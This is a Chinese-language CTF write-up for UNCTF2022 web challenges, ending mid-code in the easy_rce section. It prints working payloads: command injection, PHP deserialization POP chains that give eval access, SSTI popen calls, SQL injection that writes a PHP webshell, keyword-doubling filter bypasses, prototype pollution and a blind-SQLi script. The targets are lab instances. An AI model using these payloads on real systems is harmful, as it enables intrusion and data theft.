March 2, 2023

UNCTF2022-WP

Web

ezgame

一道js题目,直接在源码中搜索到:

1
var _0x313bce = ['86VkibmA', 'fe7b163f8d', '6833565vBFVDj', '23742ODGjjF', 'unctf{c5f9', 'd3}', '1335DfKYdi', '6442920PCnqhb', '781140poNcpx', 'a27d-6f88-', '795305dViflS', '1569524rbiRmt', '49fb-a510-', '88IpXszc', '13033ieCwIU', '6GgaKPA'];

可以看到有unctf的字样,根据格式8-4-4-12组合一下即可得到flag

我太喜欢bilibili大学啦

这题一开始也有问题,上报后放了个修复版本
image.png
开始为phpinfo界面,搜索到一个hint:
image.png
解码之后为:
admin_unctf.php
访问:
image.png
标头给出了hint2:unctf2022/unctf2022
登录进去为题目入口:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
putenv("FLAG=nonono");
if(!isset($_POST['username']) && !isset($_POST['password'])){
exit("username or password is empty");
}else{
if($_POST['username'] === "unctf2022" && $_POST['password'] === "unctf2022"){
show_source(__FILE__);
@system("ping ".$_COOKIE['cmd']);
}else{
exit("username or password error");
}
}

payload:1;tac /flag,这里要url编码,放在cookie里,参数为cmd

签到

image.png
源代码放了个学号提示,输入进去显示登录成功,fuz发现存在遍历现象
每一次返回flag的一个字母,写个脚本:
image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#Author:Boogipop
import requests
url="http://8bd37e89-73ba-4eb2-8b4c-331ae2aabf68.node.yuzhian.com.cn/index.php"
res=''
while True:
result=''
for i in range(1,40):
if i<10:
i='0'+str(i)
data={
"username":f"202001{i}",
"password":f"202001{i}"
}
r = requests.post(url=url, data=data)
string = str(r.text)
string = list(string)
res+=string[504]
print(res)

babyphp

image.png
首先要知道入口要加个index.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_POST["a"])){
if($_POST["a"]==0&&$_POST["a"]!==0){
if(isset($_POST["key1"])&isset($_POST["key2"])){
$key1=$_POST["key1"];
$key2=$_POST["key2"];
if ($key1!==$key2&&sha1($key1)==sha1($key2)){
if (isset($_GET["code"])){
$code=$_GET["code"];
if(!preg_match("/flag|system|txt|cat|tac|sort|shell|\.| |\'/i", $code)){
eval($code);
}else{
echo "有手就行</br>";
}
}else{
echo "老套路了</br>";
}
}else{
echo "很简单的,很快就拿flag了~_~</br>";
}
}else{
echo "百度就能搜到的东西</br>";
}
}else{
echo "easy 不 easy ,baby 真 baby,都是玩烂的东西,快拿flag!!!</br>";
}
}

不太难只能说,放payload:
image.png
这个应该是真的flag吧?好像是改了一次flag,之前做出来flag我不记得长这样,我是在phpinfo搜索到了,也在flag.txt读了一下,都不是这个,不太清楚哦,谁让你喜欢改题目

easy_upload

额,这题不好评价
先上船个图片再抓个包:
image.png
简单的MIME验证罢了:
之后去马的地方:
image.png

302与深大

重定向题,在点击靶机链接的时候抓包:
image.png
image.png
image.png
image.png

ezunseri

反序列化pop构造:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
<?php
highlight_file(__FILE__);
error_reporting(0);

class Exec
{
public $content;

public function execute($var){
eval($this->content);
}

public function __get($name){

echo $this->content;

}

public function __invoke(){
$content = $this->execute($this->content);
}

public function __wakeup()
{
$this->content = "";
die("1!5!");
}

}


class Test
{
public $test;
public $key;

public function __construct(){

$this->test = "test123";
}

public function __toString(){
$name = $this->test;
$name();
}

}

class Login
{
private $name;
public $code = " JUST FOR FUN";
public $key;

public function __construct($name="UNCTF"){

$this->name = $name;
}

public function show(){

echo $this->name.$this->code;
}

public function __destruct(){

if($this->code = '3.1415926'){
return $this->key->name;
}
}

}


if(isset($_GET['pop'])){

$a = unserialize($_GET[pop]);
}else{

$a = new Login();
$a->show();
}

题目触发pop链的思路很简单:
login::__destruct->Exec::__get->Test::__tostring->Exec::__invoke
pop构造:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
class Exec
{
public $content;
public function __construct($file){

$this->content = $file;
}

}


class Test
{
public $test;
public $key;


}

class Login
{
private $name;
public $code = "3.1415926";
public $key;


public function show(){

echo $this->name.$this->code;
}

public function __destruct(){

if($this->code = '3.1415926'){
return $this->key->name;
}
}

}
$a=new Login();
$b=new Test();
$a->key=new Exec($b);
$b->test=new Exec('eval($_POST[1]);');
echo serialize($a);
echo '<br>';
echo urlencode(serialize($a));
?>

得到的结果中把EXEC的属性个数改为2,绕过wakeup:

1
O%3A5%3A%22Login%22%3A3%3A%7Bs%3A11%3A%22%00Login%00name%22%3BN%3Bs%3A4%3A%22code%22%3Bs%3A9%3A%223.1415926%22%3Bs%3A3%3A%22key%22%3BO%3A4%3A%22Exec%22%3A2%3A%7Bs%3A7%3A%22content%22%3BO%3A4%3A%22Test%22%3A2%3A%7Bs%3A4%3A%22test%22%3BO%3A4%3A%22Exec%22%3A2%3A%7Bs%3A7%3A%22content%22%3Bs%3A16%3A%22eval%28%24_POST%5B1%5D%29%3B%22%3B%7Ds%3A3%3A%22key%22%3BN%3B%7D%7D%7D

然后就rce了:
image.png

听说php有一个xxe

也就是考一个XXE注入,有关知识可以看我发的文章
image.png
goto:
image.png
你觉得像不像有问题呢,像不像呢,反正我觉得像
抓个包:
image.png
结束了

easy ssti

是真的很ez
image.png
测试发现username存在ssti:
image.pngimage.png
{{lipsum.__globals__.os.popen('ls').read()}}
image.png
你会发现你这样找文件找不着,那flag在哪呢,在env:

{{lipsum.__globals__.os.popen('env').read()}}
image.png

poppop

入口在此:index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
class A{
public $code = "";
function __call($method,$args){
eval($this->code);

}
function __wakeup(){
$this->code = "";
}
}

class B{
public $key;
function __destruct(){
echo $this->key;
}
}
class C{
private $key2;
function __toString()
{
return $this->key2->abab();
}
}


if(isset($_POST['poc'])) {
unserialize($_POST['poc']);
}else{
highlight_file(__FILE__);
}

这个感觉就更简单了
pop链为:B::_destruct->C::_tostring->A::_call,构造一波:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
class A{
public $code = 'eval($_POST[1]);';
}

class B{
public $key;
function __construct(){
$this->key=new C();
}
}
class C{
private $key2;
function __construct()
{
$this->key2=new A();
}
}
$a=new B();
echo serialize($a);
echo '<br>';
echo urlencode(serialize($a));
?>

结果中一定要绕过wakeup改属性个数
image.png

随便注

确实是随便注注拉~
image.png
有回显为,FUZZ一下发现image.png
是存在一个union注入漏洞的,然后发现是双写绕过where,select,from,or:
?id=0'%20union%20seselectlect%20group_concat(table_name),database()%20ffromrom%20infoorrmation_schema.tables%20whwhereere%20table_schema=database()%2
image.png
然后这边就爆库什么的呗~但是你会发现什么都没有,要写shell:
?id=0'%20union%20seselectlect%201,'<?php%20eval($_POST[1]);?>'%20into%20outfile%20'/var/www/html/1.php'%23
image.png
蚁剑上号:
image.png

ez2048

这一题好奇怪
非预期:
扫文件,直接phpinfo搜索环境变量

预期:
我也想了一下,但是走到了wasm文件就走不下去了,真的觉得是逆向题:
关于邀请码分析如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#走下边0,2,4,6,8,10,12,14,16,18,20,22
#走上边1,3,5,7,9,11,13,15,17,19,21,23
#0^1 1+1 2^3 3^1 4^5 5^3 |6^7 7^5| 8^9 9^7 |10^11 11^9 |12^13 13^11 |14^15 15^13 |16^17 17^15 |18^19 19^17 |20^21
#21^19 |22^23 23^21
# code='3'
# code2='b'
# dict="0123456789abcdefhijklmnopqrstuvwxyz{}-_ABCDEFGHIJKLMNOPQRSTUVWXYZ#@!"
# for i in dict:
# if ord(i)^ord('!')==0:
# print(i)
#w
#3
#l
#c
#0
#m
#e
#_
#7
#o
#_
#u
#n
#c
#t
#f
#2
#0
#2
#2
#!
#!
#!
#!
#w3lc0me_7o_unctf2022!!!!

其实是可以直接写个脚本的,但是我求稳,我怕了
然后进去就多了个wasm文件,在这卡住了,里面有可疑的data,但是是乱码,真不晓得咋整
预期:
溯源game.js可以发现2个和invitecode有关的函数:
image.png
image.png
经过测试直接:
image.png
先运行上面的,再运行下面的,即可出现flag,好题!!!

babynode

简单的原型链污染:

1
app.post('/', function(req, res) {var flag='flag';var admin = {};let user = {};try{copy(user,req.body);} catch (error){res.send("copy error");return;}if(admin.id==='unctf'){res.end(flag);}else{return res.end("error");}})

这边重点就是放在copy函数,这里存在一个污染
copy(user,req.body):这个应该很容易才出来是赋值的,将user[key]=req.body[key]
假如key是__proto__那么admin就会被污染:
image.png

世界和平

完全没难度啊
image.png
考点就是堆叠注入:
image.png
到这里然后测试发现ban掉了flag,where,prepare,from,select等等:
image.png
然后有个很有意思的现象:
image.png
大写之后就不会报错?我们试试看能不能读Flag表中的列:
0;show columns From Flag;#
image.png
啥也没有,到这里就卡住了一下,不过既然没有显示被ban,那就是可以,肯定是做了某种处理,正好经常碰到双写绕过就试了一下:
0;show columns FroFromm FlFlagag;
image.png
哦吼出来了,说明他把Flag和From替换为了空,那现在就一下下的读:
0;SESELECTLECT FlFlagag FroFromm FlFlagag:
image.png
结束了

Sqlsql

二次注入题,给了源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
SET NAMES utf8mb4;
SET FOREIGN_KEY_CHECKS = 0;

-- ----------------------------
-- Table structure for challengesAll
-- ----------------------------
DROP TABLE IF EXISTS `challengesAll`;
CREATE TABLE `challengesAll` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`type` varchar(255) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`Title` varchar(255) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`OptionA` varchar(255) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`OptionB` varchar(255) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`OptionC` varchar(255) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`OptionD` varchar(255) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`Answer` varchar(255) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
PRIMARY KEY (`id`) USING BTREE
) ENGINE = InnoDB AUTO_INCREMENT = 12 CHARACTER SET = utf8 COLLATE = utf8_general_ci ROW_FORMAT = Compact;

-- ----------------------------
-- Table structure for ctf
-- ----------------------------
DROP TABLE IF EXISTS `ctf`;
CREATE TABLE `ctf` (
`id` int(11) NULL DEFAULT NULL,
`name` mediumtext CHARACTER SET utf8 COLLATE utf8_general_ci NULL,
`value` mediumtext CHARACTER SET utf8 COLLATE utf8_general_ci NULL
) ENGINE = InnoDB CHARACTER SET = utf8 COLLATE = utf8_general_ci ROW_FORMAT = Compact;

-- ----------------------------
-- Table structure for randChallenges
-- ----------------------------
DROP TABLE IF EXISTS `randChallenges`;
CREATE TABLE `randChallenges` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`username` varchar(255) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`challengeId1` varchar(255) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`challengeId2` varchar(255) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`challengeId3` varchar(255) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`challengeId4` varchar(255) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`challengeId5` varchar(255) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
PRIMARY KEY (`id`) USING BTREE
) ENGINE = InnoDB AUTO_INCREMENT = 13 CHARACTER SET = utf8 COLLATE = utf8_general_ci ROW_FORMAT = Compact;

-- ----------------------------
-- Table structure for score
-- ----------------------------
DROP TABLE IF EXISTS `score`;
CREATE TABLE `score` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`username` mediumtext CHARACTER SET utf8 COLLATE utf8_general_ci NULL,
`score` int(255) NULL DEFAULT NULL,
PRIMARY KEY (`id`) USING BTREE
) ENGINE = InnoDB AUTO_INCREMENT = 6 CHARACTER SET = utf8 COLLATE = utf8_general_ci ROW_FORMAT = Compact;

-- ----------------------------
-- Table structure for userAnswer
-- ----------------------------
DROP TABLE IF EXISTS `userAnswer`;
CREATE TABLE `userAnswer` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`studentid` varchar(255) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`ans1` varchar(255) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`ans2` varchar(255) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`ans3` varchar(255) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`ans4` varchar(255) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`ans5` varchar(255) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
PRIMARY KEY (`id`) USING BTREE
) ENGINE = InnoDB AUTO_INCREMENT = 5 CHARACTER SET = utf8 COLLATE = utf8_general_ci ROW_FORMAT = Compact;

-- ----------------------------
-- Table structure for users
-- ----------------------------
DROP TABLE IF EXISTS `users`;
CREATE TABLE `users` (
`id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT,
`username` mediumtext CHARACTER SET utf8 COLLATE utf8_general_ci NULL,
`studentid` varchar(255) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
PRIMARY KEY (`id`) USING BTREE,
UNIQUE INDEX `studentid`(`studentid`) USING BTREE
) ENGINE = InnoDB AUTO_INCREMENT = 14 CHARACTER SET = utf8 COLLATE = utf8_general_ci ROW_FORMAT = Compact;


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
define('MYSQL_HOST', '');
define('MYSQL_USER', '');
define('MYSQL_PASSWORD', '');
define('MYSQL_DATABASE', '');

error_reporting(0);
ini_set('display_errors', 'Off');
ini_set('allow_url_fopen', 'Off');
ini_set("session.cookie_httponly", 1);
session_start();

function addslashes_deep($value){
if (empty($value)){
return $value;
}else {
return is_array($value) ? array_map('addslashes_deep', $value): addslashes($value);
}
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
<?php
error_reporting(0);
ini_set('display_errors', 'Off');
ini_set('allow_url_fopen', 'Off');

session_start();

?>
<!DOCTYPE html>
<html lang="zh">
<head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta name="viewport" content="width=device-width,initial-scale=1.0,user-scalable=no">
<title>2022年全国统一高考数学试卷(理科)</title>
</head>
<body>
<form method="post">
<div id="app">
<h1>2022年全国统一高考数学试卷(理科)</h1>
<td>欢迎</td>&nbsp<b><?=$_SESSION['username'];?></b>
<?php if (isset($_SESSION['username'])): ?>
<td><a href="logout.php">登出</a></td>
<?php
if ($_SESSION['username']=='admin'):{ ?>
查询<td><a href="score.php">成绩</a></td>或<td><a href="rank.php">排名</a></td>
<br>
<b>where_is_flag?</b>
<?php
exit(1);
}
endif;

include("config.php");
$mysqli = new mysqli(MYSQL_HOST, MYSQL_USER, MYSQL_PASSWORD, MYSQL_DATABASE);
mysqli_query($mysqli,"set names utf8");
if ($result = $mysqli->query("select * from score where username='".$_SESSION['username']."'")) {
if ($result->num_rows >= 1) {?>
</br>您已完成考试</br>查询<td><a href="score.php">成绩</a></td>或<td><a href="rank.php">排名</a></td>
<?php
exit(1);
}
}

if ($result = $mysqli->query("SELECT
type,Title,OptionA,OptionB,OptionC,OptionD
FROM
challengesAll,randChallenges
WHERE
randChallenges.username = '".addslashes_deep($_SESSION['username'])."'
AND (challengesAll.id = randChallenges.challengeId1
OR challengesAll.id = randChallenges.challengeId2
OR challengesAll.id = randChallenges.challengeId3
OR challengesAll.id = randChallenges.challengeId4
OR challengesAll.id = randChallenges.challengeId5)
")) {
if ($result->num_rows == 5) {
$row = $result->fetch_all();
for ($i=0;$i<count($row);$i++){
if ($row[$i][0]=='1') {
echo '<div>
<div>
<div>
'.($i+1).'.'.$row[$i][1].'<br>
</div>
<div>
<div>
<tr>
<input type="radio" name="q'.($i+1).'" aria-describedby="q'.($i+1).'" value="1">
A、'.$row[$i][2].'
</tr>
<br>
<tr>
<input type="radio" name="q'.($i+1).'" aria-describedby="q'.($i+1).'" value="2">
B、'.$row[$i][3].'
</tr>
<br>
<tr>
<input type="radio" name="q'.($i+1).'" aria-describedby="q'.($i+1).'" value="3">
C、'.$row[$i][4].'
</tr>
<br>
<tr>
<input type="radio" name="q'.($i+1).'" aria-describedby="q'.($i+1).'" value="4">
D、'.$row[$i][5].'
</tr>
</div>
</div>
</div>
</div>
<br>';
}
}

} else {
exit("题库错误,请重新注册后刷新.");
}
}
?>
</div>
<p>
<input type="submit" value="提交">
</p>
</form>
<?php else: ?>
请先<td><a href="login.php"> 登陆</a></td>
或<td><a href="register.php"> 注册</a></td><br><br>
查询<td><a href="score.php">成绩</a></td>或<td><a href="rank.php">排名</a></td>
<?php endif; ?>

</body>
</html>
<?php
$getscroe = 0;
if (isset($_POST['q1'])&&isset($_POST['q2'])&&isset($_POST['q3'])&&isset($_POST['q4'])&&isset($_POST['q5'])){
if ($result = $mysqli->query("SELECT
Answer
FROM
challengesAll,
randChallenges
WHERE
randChallenges.username = '".addslashes_deep($_SESSION['studentid'])."'
AND (challengesAll.id = randChallenges.challengeId1
OR challengesAll.id = randChallenges.challengeId2
OR challengesAll.id = randChallenges.challengeId3
OR challengesAll.id = randChallenges.challengeId4
OR challengesAll.id = randChallenges.challengeId5)
")){
$row = $result->fetch_all();
if( $_POST['q1'] == $row[0][0])
$getscroe = $getscroe+20;

if( $_POST['q2'] == $row[1][0])
$getscroe = $getscroe+20;

if( $_POST['q3'] == $row[2][0])
$getscroe = $getscroe+20;

if( $_POST['q4'] == $row[3][0])
$getscroe = $getscroe+20;

if( $_POST['q5'] == $row[4][0])
$getscroe = $getscroe+20;
} else{
exit("判分错误,请刷新后重试.</br><a href='index.php'>刷新</a>");
}

if($result = $mysqli->query("select * from score where username='".addslashes_deep($_SESSION['username'])."'")) {
if ($result->num_rows) {
$result->close();
echo "<script>alert(\"用户已完成考试\");</script>";
} else {
$query = "insert into score values (NULL, '".addslashes_deep($_SESSION['username'])."', $getscroe);insert into userAnswer values (NULL, '".$_SESSION['username']."', '".$_POST['q1']."', '".$_POST['q2']."', '".$_POST['q3']."', '".$_POST['q4']."', '".$_POST['q5']."')";
if ($mysqli->multi_query($query)===TRUE) {
$mysqli->close();
echo "<script>alert(\"已完成考试!\");</script>";
echo "<script language='JavaScript'>location.replace('index.php')</script>";
} else {
exit("something error!");
}
}
}
}
?>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
<?php
include("config.php");

if (isset($_COOKIE['username'])) {
header("Location: index.php");
exit();
}

if (isset($_POST['username']) && isset($_POST['studentid'])) {
if ($_POST['username']==='' || $_POST['studentid']==='' || $_POST['submit']!=='提交')
{
exit("想什么呢,好好做题吧!");
}

$mysqli = new mysqli(MYSQL_HOST, MYSQL_USER, MYSQL_PASSWORD, MYSQL_DATABASE);
mysqli_query($mysqli,"set names utf8");
$username = addslashes_deep($_POST['username']);

$studentid = addslashes_deep($_POST['studentid']);

if ($mysqli->connect_errno) {
exit("something error");
}

if($result = $mysqli->query("select * from users where username='$username' and studentid='$studentid'")) {
if ($result->num_rows === 1) {
$row = $result->fetch_array();
setcookie('username', md5($row['username']));
$_SESSION['username'] = ($row['username']);
$_SESSION['studentid'] = ($row['studentid']);

header("Location: index.php");
} else {
exit("用户名或密码错误捏");
}
}
}
?>
<!DOCTYPE html>
<html lang="zh">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta name="viewport" content="width=device-width,initial-scale=1.0,user-scalable=no">
<title>2022年全国统一高考数学试卷(理科)</title>
</head>
<body>
<form method="post">
<div id="app">
<h1>登陆</h1>
姓名:<input type="text" value="" id="username" name="username"><br><br>
学号:<input type="text" value="" id="studentid" name="studentid"><br>

<br>
<input type="submit" value="提交" name="submit">
</div>
</body></html>

1
2
3
4
5
6
7
8
<?php
session_start();
setcookie("username");
$_SESSION['username'] = '';
$_SESSION['studentid'] = '';
header("Location: index.php");
session_destroy();
exit();
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
include("config.php");


$mysqli = new mysqli(MYSQL_HOST, MYSQL_USER, MYSQL_PASSWORD, MYSQL_DATABASE);
mysqli_query($mysqli,"set names utf8");
?>

<!DOCTYPE html>
<html lang="zh">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta name="viewport" content="width=device-width,initial-scale=1.0,user-scalable=no">
<title>2022年全国统一高考数学试卷(理科)</title>
</head>
<body>
<form method="post">
<div id="app">
<h1>排行榜</h1>
<?php

if ($mysqli->connect_errno) {
exit("暂无排行");
}

if ($result = $mysqli->query("select * from score order by score desc")) {
if ($result->num_rows >= 1) {
$row = $result->fetch_all();
for ($i=0;$i<count($row);$i++){
echo "
<div>
<div align='center'>
<div align='center'>
<h2>姓名:*** 得分:".$row[$i]["2"]."分</h2>
</div>
</div>
</div>
";
}

} else {
exit("暂无排行.</br><a href='score.php'>返回查询</a>");
}
}
?>
</div>
</body></html>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<?php
include("config.php");

if (isset($_COOKIE['username'])) {
header("Location: index.php");
exit();
}

function getRandom($arrend){
$array = [];
$nums = range(1,$arrend[0]);
shuffle($nums);
for($i=0; $i<5; $i++){
$array[$i] = $nums[$i];
}
return $array;
}

if (isset($_POST['username']) && isset($_POST['studentid'])) {

if ($_POST['username']==='admin') {
exit('干嘛呢,同学?');
}

if ($_POST['username']==='' || $_POST['studentid']==='' || $_POST['submit']!=='提交')
{
exit("想什么呢,好好做题吧!");
}


$mysqli = new mysqli(MYSQL_HOST, MYSQL_USER, MYSQL_PASSWORD, MYSQL_DATABASE);
mysqli_query($mysqli,"set names utf8");
$username = addslashes_deep($_POST['username']);
$studentid = addslashes_deep($_POST['studentid']);

if ($mysqli->connect_errno) {
exit("something error!<br>姓名或学号重复");
}

if($result = $mysqli->query("select * from users where studentid='$studentid'")) {
if ($result->num_rows) {
$result->close();
echo "<script>alert(\"用户已存在\");</script>";
} else {
$arrend = $mysqli->query("select count(*) from challengesAll")->fetch_row();
$arr = getRandom($arrend);
$query = "insert into users values (NULL, '$username', '$studentid');";
$query .= "insert into randChallenges values (NULL, '$username', '$arr[0]', '$arr[1]', '$arr[2]', '$arr[3]', '$arr[4]');";
if ($mysqli->multi_query($query)===TRUE) {
$mysqli->close();
header("Location: login.php");
} else {
exit("something error!".$mysqli->error);
}
}
}


}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
<?php
include("config.php");


$mysqli = new mysqli(MYSQL_HOST, MYSQL_USER, MYSQL_PASSWORD, MYSQL_DATABASE);
mysqli_query($mysqli,"set names utf8");
?>

<!DOCTYPE html>
<html lang="zh">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta name="viewport" content="width=device-width,initial-scale=1.0,user-scalable=no">
<title>2022年全国统一高考数学试卷(理科)</title>
</head>
<body>
<form method="post">
<div>
<?php
if (($_SESSION['username'])=='admin'):{
?>
<h1>请输入学号以查询成绩</h1>
学号:<input type="text" value="" id="studentid" name="studentid"><br>
<br>
<input type="submit" value="提交" name="submit">
<?php
function getAns($ans){
switch ($ans) {
case "1": return "A";
case "2": return "B";
case "3": return "C";
case "4": return "D";
}
}

if (isset($_POST['studentid'])){
$studentid = addslashes_deep($_POST['studentid']);
if ($mysqli->connect_errno) {
exit("something error!");
}
if ($result = $mysqli->query("select * from users where studentid='$studentid';")) {
$row = $result->fetch_array();
if ($row){
$username = $row['username'];
$sql = "select * from score where username='$username';";
if ($result2 = $mysqli->multi_query($sql)){
$row2 = $mysqli->store_result()->fetch_array();
echo "
<div class='get-flag'>
<div align='cent'>
<div align='center'>
<h1>姓名:".$row2["username"]."</h1>
</div>
<div align='center'>
恭喜你获得了:<h2>".$row2["score"]."分</h2>
</div>
</div>
</div><br>
";
<div class="get-fl4g">Ki1ro</div>
if ($result = $mysqli->query("SELECT
type,Title,TitleImg,OptionA,OptionB,OptionC,OptionD,Answer
FROM
challengesAll,randChallenges
WHERE
randChallenges.username = '".addslashes_deep($_SESSION['username'])."'
AND (challengesAll.id = randChallenges.challengeId1
OR challengesAll.id = randChallenges.challengeId2
OR challengesAll.id = randChallenges.challengeId3
OR challengesAll.id = randChallenges.challengeId4
OR challengesAll.id = randChallenges.challengeId5)
")) {
if ($result->num_rows == 5) {
$row = $result->fetch_all();

$result2 = $mysqli->query("select ans1,ans2,ans3,ans4,ans5 from userAnswer where studentid='".$_SESSION['studentid']."'");
$row2 = $result2->fetch_all();

for ($i=0;$i<count($row);$i++){

if ($row[$i][0]=='1') {
echo '<div>
<div>
<div>
'.($i+1).'.'.$row[$i][1].'<br>
</div>
<br>
<div>
<div>
<tr>
A、'.$row[$i][3].'<br>
</tr>
<br>
<tr>
B、'.$row[$i][4].'<br>
</tr>
<br>
<tr>
C、'.$row[$i][5].'<br>
</tr>
<br>
<tr>
D、'.$row[$i][6].'<br>
</tr>
</div>
</div>
<br>
<h3 align="centre">正确答案:'.getAns($row[$i][7], '1').' 您的答案:'.getAns($row2[0][$i], '1').'</h3>
</div>
</div>
<br>';
}
}

}
}
}else{
exit("<br>未查询到成绩.</br>学号或姓名可能有误");
}
} else {
exit("<br>未查询到成绩.</br>学号或姓名可能有误");
}
}
}
}else:?>
<h1>只有admin可以查询特定学号的成绩</h1><br>
<a href='index.php'>返回主页</a>
<?php endif; ?>
</div>
</body></html>

这边文件很多,但是无所谓,我会审计(
重点放在register和index文件内:
首先自定义了一个deep_addslansh函数:
image.png
让我们无懈可击,单引号和数组都无了
但是且看index这里:
image.png
这边的session[Name]是否没经过说明过滤处理?那不就行了!
写个脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#AUthor:Boogipop
import requests
import random
url1="http://85d3435c-c201-4486-8984-6ff5099b7079.node.yuzhian.com.cn/register.php"
url2="http://85d3435c-c201-4486-8984-6ff5099b7079.node.yuzhian.com.cn/login.php"
i=0
j=4000000
result=''
while True:
i = i + 1
head = 32
tail = 127
while head<tail:
j += 1
mid = (head + tail) >> 1
data={
"username":f"1' or username=if(ascii(substr((select group_concat(id,username,studentid) from users),{i},1))>{mid},'a','1')#",
"studentid":f"{j}",
"submit": "提交"
}
r1=requests.post(url=url1,data=data)
# print(r1.text)
r2 = requests.post(url=url2, data=data)
# print(r2.text)
if "您已完成考试" in r2.text:
head = mid + 1
else:
tail = mid

if head != 32:
result += chr(head)
print(result)
else:
break

用这个脚本之前,先注册一个用户为a,学号为1的用户,这样只要我们判断成立,完成考试就会出现,存在布尔盲注
image.png
可以看到admin和他的密码,登录一波:
image.pngimage.png
直接搜索1就出来,这是在index.php做的处理

easy_rce

这题不错,考了个比较新的,rce的布尔盲注,做的很少

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
# flag in /flag

if(isset($_GET['code'])){

$code=$_GET['code'];

